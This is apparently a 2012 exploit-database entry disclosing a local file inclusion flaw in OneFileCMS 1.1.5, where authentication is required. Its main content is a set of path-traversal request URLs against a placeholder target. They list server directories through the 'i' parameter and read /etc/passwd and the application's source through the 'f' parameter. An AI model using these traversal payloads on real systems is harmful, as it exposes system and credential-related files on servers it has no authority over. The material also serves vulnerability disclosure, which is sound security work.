OneFileCMS 1.1.5 - Local File Inclusion

# Exploit Title: OneFileCMS v.1.1.5 Local File Inclusion Vulnerability
# Google Dork: --
# Date: 16/03/2012
# Author: mr.pr0n (@_pr0n_)
# Homepage: http://ghostinthelab.wordpress.com/ - http://s3cure.gr
# Software Link: https://github.com/rocktronica/OneFileCMS
# Version: OneFileCMS v.1.1.5
# Tested on: Linux Fedora 14

===============
Description
===============
OneFileCMS is just that. It's a flat, light, one file CMS (Content
Management System) entirely contained in an easy-to-implement, highly
customizable, database-less PHP script. Coupling a utilitarian code editor
with all the basic necessities of an FTP application, OneFileCMS can
maintain a whole website completely in-browser without any external
programs.

=======================================================
[!] All vulnerabilities requires authentication. [!]
=======================================================


Directory Listing, using the "i" parameter:
http://TARGET/onefilecms/onefilecms.php?i=../../../../


Read local files, using the "f" parameter:
http://TARGET/onefilecms/onefilecms.php?f=../../../../etc/passwd
http://TARGET/onefilecms/onefilecms.php?f=../../../../var/www/html/onefilecms/onefilecms.php

-- 
http://ghostinthelab.wordpress.com